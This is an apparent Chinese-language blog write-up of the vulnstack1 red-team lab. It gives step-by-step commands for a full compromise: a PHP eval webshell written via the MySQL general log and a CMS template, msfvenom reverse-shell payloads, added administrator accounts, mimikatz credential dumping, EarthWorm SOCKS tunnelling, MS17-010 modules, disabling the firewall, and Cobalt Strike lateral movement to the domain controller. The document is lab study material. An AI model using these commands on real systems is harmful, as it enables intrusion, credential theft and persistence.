声明

好好学习,天天向上

环境配置

下载地址,直接进去用百度云,没有会员也下的非常快

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

边下载着,可以开始vmware的网络配置

下图为官方给出的,从虚拟机网络来看

攻击者:kali+windows的攻击机
VM1:对外边界服务器,win7
VM2:域成员,2003
VM3:域控,2008

所以这中间出现两个网段,一个外网网段,一个内网网段

鉴于需要两个网段,我们需要在vmware上做一些配置

首先,用一块仅主机的VMnet1(192.168.52.0),另一块NAT的VMnet8(192.168.239.0),这个不会调,可以百度

调完Vmware,三台服务器都下好了,分别解压,然后,直接打开就好,主要是网络配置

win7相当于网关服务器,所以自然要两张网卡,顺序不要错哦

2003连VMnet1

2008连VMnet1

网络配置完成,现在,可以登进去每个服务器看一看,是不是成功获取了IP,密码hongrisec@2019,三台服务器密码都过期了,都需要改密码,可以改成HONGRISEC@2019

下面是我自动获取的结果

攻击者:
kali
192.168.239.198windows
192.168.239.158靶场:
VM1:对外边界服务器,win7
192.168.52.143
192.168.239.202VM2:域成员,2003
192.168.52.141VM3:域控,2008
192.168.52.138

然后进入win7中,打开phpstudy

环境配置到此结束

战斗

Web渗透

kali扫描存活

arp-scan -l
nmap -sP --min-hostgroup 1024 --min-parallelism 1024 192.168.31.1/24

扫描详细信息

nmap -T4 -A 192.168.239.202 -p 1-65535 -oN nmap.A

开启了80、135、3306

访问80

http://192.168.239.202

自动跳转到了php探针,相当于给了我们一些信息

往下翻,有mysql相关,试一试root/root

果然是个弱口令

没啥思路了,就扫描目录

使用dirsearch

git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
python3 dirsearch.py -u http://192.168.239.202

发现了不少有用的目录

访问一下phpmyadmin,使用root可以正常登录

http://192.168.239.202/phpmyAdmin

其实到了这一步,已经很有思路了,拿到了phpmyadmin的后台了,接下来就是想办法拿到shell了

两种方法:

方法1 phpmyadmin日志

利用phpmyadmin日志,写入一句话

先查看general log是否开启

show variables like '%general%';

打开general_log日志读写功能

SET GLOBAL general_log='on'; SHOW VARIABLES LIKE '%general%';

制作一个木马文件,要根据图中general_log_file中的绝对路径

SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'

往这个shell.php中写入一句话

SELECT '<?php eval($_POST["cmd"]);?>'

菜刀连一句话

http://192.168.239.202/shell.php

方法2 YXCMS模板

使用shell翻了翻目录,发现还有yxcms,dirsearch字典里面没有这个

访问一下

http://192.168.239.202/yxcms/

注册一个,登录试试

好像也没啥

扫一下目录吧再,upload也不行

python3 dirsearch.py -u http://192.168.239.202/yxcms/

查看页面,提示后台

访问后台

http://192.168.239.202/yxcms/index.php?r=admin

admin/123456

CMS相关系列,能拿到后台的,离shell还远吗,不是日志写入一句话,就是某某模板编译写入一句话,找模板编辑的地方

这几个模板字,太亮眼了,点击进入编辑

访问了多个模板php,发现都没法访问,只能对最熟悉的index下手

这个逻辑可能是,index_index.php,直接访问,是访问不到的,而,能通过调用index.php,间接调用index_index.php,所以我们往index_index.php中,插入一句话,连接的应该是index.php

插入一句话

<?php eval($_POST["yx"]);?>

菜刀连接

http://192.168.239.202/yxcms/index.php

拿到shell

权限维持/提升

现在已经拿到webshell了,接着就是持久化控制这个shell

3389远程登录

查看3389端口开了没,果然没开(菜刀直接ctrl+v)

netstat -an | find "3389"

开启3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

顺便附上关闭3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f

添加用户,加管理员组权限

net user weizi 1234!@#$QWER /add
net localgroup administrators weizi /add
net user weizi

远程连接3389,失败

换思路

MSF

这次启动还挺漂亮的,不过用的是msfvenom

使用msfvenom生成木马payload,里面的IP和端口自行修改,就是反弹shell的kali

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.198 lport=6666 -f exe -o shell.exe

生成一个shell.exe

再用菜刀传到刚刚的win7中

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set lport 6666
run

run了以后,可以去菜刀那里执行exe

查看msf监听内容

拿到了meterpreter的shell,开始提权,成功提权到system

getuid
getsystem
getuid

开启远程桌面

run post/windows/manage/enable_rdp

成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令

run multi_console_command -r /root/.msf4/loot/20210401140702_default_192.168.239.202_host.windows.cle_620509.txt

我又回过头看了一下,域是Administrator

登录

Sunny-Ngrok隧道创建

建立隧道,就是端口转发,用他们的公网转到本地的内网3389

访问,自己创建一个账户,关注微信公众号

https://www.ngrok.cc/

选择美国Ngrok免费服务器

这是我已经创建好的

创建好后,记录下隧道id,下载客户端工具连接隧道id

启动后提示你输入隧道id,输入后,就可以看到online

然后连接,好慢,不等了

mimikatz破解密码

可以用菜刀上传一个mimikatz,然后执行

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

右键编辑

或者用msf的meterpreter

查询explorer进程PID,为2680

ps
ps | find "explorer"

注入516,因为它是system

migrate 516
load mimikatz
mimikatz_command -f sekurlsa::searchPasswords

失败了,因为mimikatz已经被kiwi取代,功能更强大了,真牛

获取密码

creds_all

内网渗透

信息收集

这台服务器基本已经算是拿下了,现在可以进行横向,看看内网还有什么服务器了

需要先进行一波信息收集

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""    # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"    # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件net config Workstation    # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators    # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)

查看内网IP

ipconfig /all

查询域列表

net view /domain

这里转蚁剑了,菜刀字体不太会调整,有点小

查看路由信息

整理一下目前收集到的信息

该域名为god.org
域控为OWA$
域管理员为Administrator
密码为HONGRISEC@2019
内网网段为192.168.52.1/24

拿到域控IP192.168.52.138,及内网网段192.168.52.1/24

 ping owa.god.org

使用cmd,写一个for循环,遍历最后一位255

对192.168.52.I进行ping(I在1-254之前,每次+1),如果结果返回有TTL就打印IP

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="

回到msf,进入windows的shell,拿到了三个IP,其中一个是自己,一个是域控,还有一个域成员

shell

内网IP表

域控192.168.52.138
web网关服务器192.168.52.143(已拿下)
还有一个域成员192.168.52.141

msf添加对141的路由

run autoroute -p
run autoroute -s 192.168.52.0/24
run autoroute -p

横向渗透

加入了52段的路由,现在我就可以正常访问到52段了

扫描内网ms17_010,141存在

background
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.141
exploit

漏洞利用

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set LPORT 6667
set RHOST 192.168.52.141
exploit

执行失败了,说漏洞利用模块仅支持64位的,换个思路开启3389

首先需要加代理

这里说一下为什么要加代理,我们的kali是239段的,内网是52段的,kali是无法直接访问52段,只能通过在刚拿下的52.143(239.202)这台win7上做个代理,这样,可以“假装”自己是52.143,通过52.143就可以访问其他52段的服务器

而刚刚做的路由,只是让msf能访问到52段,这个是让kali访问

Earthworm代理工具

下载地址

https://github.com/idlefire/ew
https://www.lanzous.com/i78bvvi

不太明白代理的童鞋可以看看这篇文章,说的非常详细了

https://my.oschina.net/u/4587410/blog/4984002

我这里就使用反向代理

kali,解压执行

unzip ew.zip
cd release
./ew_for_linux64 -s rcsocks -l 1080 -e 9999

然后将ew_for_Win_exe使用蚁剑传送到win7,也就是我们的跳板机,192.168.239.202上,执行

cd C:\phpStudy\WWW
ew_for_Win.exe  -s rssocks -d 192.168.239.198 -e 9999

kali修改proxychains配置文件

vim /etc/proxychains4.conf

结尾增加一行,别忘了要注释掉其他的

socks5 192.168.239.202 1080

保存后,就可以访问了141试一试了,不加代理,没反应啊

proxychains nmap -Pn -sT 192.16.52.141
nmap -Pn -sT 192.16.52.141更正为42,忽略图片中的42,当时手残敲错了

没有开启3389

proxychains4 nmap -p 3389 -Pn -sT 192.168.52.141

利用msf开启3389(command参数是命令,还以先试试whoami能跑通不)

可以直接启动msf或者使用代理启动

proxychains4 msfconsole

00000000为开启

00000001位关闭

use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command whoami
set COMMAND REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
exploit

再次查看3389端口,可以看到已经开启了

proxychains4 nmap -p 3389 -Pn -sT 192.168.52.141

使用linux命令行开启141的3389,能打开,隧道建立完毕,正常连接

proxychains4 rdesktop 192.168.52.141

有了这条路,我们就可以利用刚刚执行开启3389的地方,添加用户(模块还是一样,只是改了命令)

use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command net user weizi HONGRISEC@2019 /add
run

加入管理员组

set command net localgroup administrators weizi /add
run

查看一下是否添加成功

set command net localgroup administrators
run

然后使用exploit/windows/smb/ms17_010_psexec ,这次我加上用户名和密码试试看

use exploit/windows/smb/ms17_010_psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.239.198
set LPORT 4444
set RHOST 192.168.52.141
set SMBUser weizi
set SMBPass HONGRISEC@2019
run

几经波折,还是打不进去,机器都打蓝屏了,硬是没有shell

3389域账户过去吧

proxychains4 rdesktop 192.168.52.141
God\administrator
HONGRISEC@2019

还可以磁盘映射过去上传东西

proxychains4 rdesktop 192.168.52.141 -r clipboard:PRIMARYCLIPBOARD -r disk:abc=/app/vulnstack/

域控

3389连接失败

proxychains4 rdesktop 192.168.52.138
proxychains nmap -Pn -sT 192.16.52.141 -p 3389

通过win7在域控上面上传一个msf马

先用win7连接域控的c盘共享

net use \\192.168.52.138\c$ "HONGRISEC@2019" /user:"administrator"
dir \\192.168.52.138\c$

后面,大佬们将win7主机上的shell.exe上传到域控上,这个也不知道大佬最后怎么成的,反正感觉还是学到了不少了

补充:Cobalt Strike

CS地址,关注HACK学习呀,大佬!!我用的4.2破解版

毕竟还是学习,所以CS的思路的用法也是要练一练的,让我再次回到msf拿到shell的时候

msf已经拿到了meterpreter

现在把这个meterpreter的shell派生到CS上面,也就是让CS也也拿到一个shell

MSF派生CS win7的Shell

打开CS,这是个服务器与客户端多对多架构的工具,先开服务端

./teamserver 192.168.239.198 123456

密码和证书一会登录的时候需要

开启客户端

./cobaltstrike

密码就填刚刚的123456

创建一个Lisenter,相当于msf的handler

msf中我现在的这个meterpreter的session id为1

background
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set DisablePayloadHandler true
set lhost 192.168.239.198
set lport 7777
set session 1
run

再次回到CS中,shell过来了,上线了

CS这个炫酷的界面,反弹了shell

拿到CSshell后,一般先将回显时间由默认的60s改成1s

sleep 1

CS的shell,执行windows的命令时,只需要在命令前加shell就好

CS制作木马反弹Shell

添加一个用于接收beacon的listener

制作木马

将生成的exe文件,用蚁剑拷贝到win7上,然后蚁剑执行

CS拿到shell

提权

目前,我们已经用CS拿到了两个win7的shell,后面的用哪个都可以

随便选一个进行漏洞提权

当然要在加一个监听

成功提权

横向移动

查看防火墙,关闭防火墙

shell netsh firewall show state
shell netsh advfirewall set allprofiles state off

获取域内目标,多执行几次,就会在Targets中找到局域网内的目标

net view

查了很多次,就是没有52段的字眼,管他呢,直接弄

可以看到目标中,name分三块

STU1也就是我们的win7

还有两台OWA和ROOT-TVI862UBEH,虽然IP没对上我们之前设置的52段的,但是在其中随便选一台先搞

先抓取win7中的密码

hashdump

logonpasswords

执行完后,查看凭证

攻击域控

增加smb listener

随便挑选一个OWA的,右键

填入用户名密码,选择刚刚创建的Listener,选择System的那个Session,点击Lauch

成功拿到域控权限

同样的方式

拿密码,选域,Listener还选刚刚的那个,Session选刚拿到的域控的

成功上线,三台SYSTEM均拿到

红日安全ATT&CK靶机实战系列之vulnstack1相关推荐

  1. 红日安全ATT&CK靶机实战系列之vulnstack2

    typora-root-url: pic\ATT&CK靶机实战系列--vulnstack2 声明 好好学习,天天向上 环境配置 下载地址,直接进去用百度云,没有会员也下的非常快 http:// ...

  2. 红日安全ATT&CK靶机实战系列之vulnstack7

    声明 好好学习,天天向上 环境配置 下载地址,直接进去用百度云,没有会员也下的非常快 http://vulnstack.qiyuanxuetang.net/vuln/detail/9/ 边下载着,可以 ...

  3. 红日ATTCK实战系列(一)

    靶机信息 靶机基本描述:红队实战系列,主要以真实企业环境为实例搭建一系列靶场,完全模拟ATT&CK攻击链路进行搭建 靶机下载地址:http://vulnstack.qiyuanxuetang. ...

  4. [VulnStack] ATTCK实战系列—红队实战(二)

    文章目录 0x00 环境搭建 0x01 信息收集 端口探测 目录扫描 0x02 漏洞利用 0x03 内网收集 主机信息搜集 域信息收集 内网漏洞扫描 0x04 横向渗透 MS17-010 PsExec ...

  5. ATTCK实战系列——红队实战(五)

    ATT&CK实战系列--红队实战(五) 文章目录 ATT&CK实战系列--红队实战(五) 前言 靶场搭建 网络配置 外网渗透 内网渗透 内网信息收集 msf反弹shell 设置路由 探 ...

  6. ATTCK实战系列——红队实战(一)

    文章目录 环境搭建 渗透测试部分 phpmyadmin 日志 getshell yxcms 前端 XSS 任意文件写入 getshell 任意文件删除 后渗透阶段 域控信息收集 域外信息收集与渗透 3 ...

  7. ATTCK实战系列——红队实战(—)

    ATT&CK实战系列--红队实战(-) 文章目录 ATT&CK实战系列--红队实战(-) 前言 一.环境搭建 1.1 靶场下载 1.2 网卡配置 二.外网渗透 三.内网渗透 1. 尝试 ...

  8. ATT CK 阶段之Initial Access --Exploit Public-Facing Application

    Exploit Public-Facing Application:即攻击对外开放的服务.这些服务通常为Web,也可能是数据库.标准服务如SMB.SSH 或者其他通过sockets能访问到的服务. 可 ...

  9. Spark入门实战系列--9.Spark图计算GraphX介绍及实例

    [注]该系列文章以及使用到安装包/测试数据 可以在<倾情大奉送–Spark入门实战系列>获取 1.GraphX介绍 1.1 GraphX应用背景 Spark GraphX是一个分布式图处理 ...

  10. MP实战系列(二)之集成swagger

    其实与spring+springmvc+mybatis集成swagger没什么区别,只是之前写的太不好了,所以这次决定详细写. 提到swagger不得不提rest,rest是一种架构风格,里面有对不同 ...

最新文章

  1. JavaScript如何获得input元素value值
  2. 如何成为一名数据中心运营工程师?
  3. Java中的锁[原理、锁优化、CAS、AQS]
  4. vue的递归组件以及三级菜单的制作
  5. 【Java数据结构与算法】第八章 快速排序、归并排序和基数排序
  6. css hsla和rgba的区别
  7. NASM汇编语言与计算机系统02-实模式-显存原理
  8. 力扣-897 递增顺序搜索树
  9. android 开源项目介绍
  10. Atitit 获取剪贴板内容 目录 1.1. ava提供两种类型的剪贴板:系统的和本地的. 1 1.2. Atitit 剪贴板数据类型 DataFlavor 1 1.3. Atitit 获取剪贴板内
  11. 暑期实习面试——超对称,算法实习生
  12. 业务系统+电子签章开放平台,快速构建个性化的电子签署应用
  13. 用c++语言写1加到100,C++ 语言实现1加到100(初学者)
  14. win 7计算机图标变了,win7系统桌面图标变成一样的解决方法
  15. 開關(switch)規格中,SPDT, DPDT, 3PDT, 4PDT是什麼意思?
  16. SpringBoot掌握的差不多了,就剩下一个Actuator没搞定了,本文详细来介绍!!!
  17. 苏州计算机英语怎么说,苏州用英语怎么说,苏州的英语单词
  18. 使用PS实现简单的名片制作
  19. 2019.08.12【NOIP提高组】模拟 A 组
  20. .NET平台机器学习资源汇总,有你想要的么?

热门文章

  1. html5数独游戏设计,数独游戏的前端实现
  2. ROOT工具为漏洞利用大开“方便之门”
  3. Google Play Store上线流程
  4. 2021-02-23 根据RNA-seq测序数据判断文库类型和链特异性
  5. 阈值Java_阈值处理(深入学习)
  6. 超级牛散股神叶健颜专找重组题材股,精准买入,不服不行。
  7. 找到一个最全的,抽空把它看完
  8. html 防网页假死,htmlweb开发:防止浏览器假死的方法.doc
  9. 监控摄像头镜头大小的区别
  10. 应对反爬如何爬取拉勾网信息(非常详细)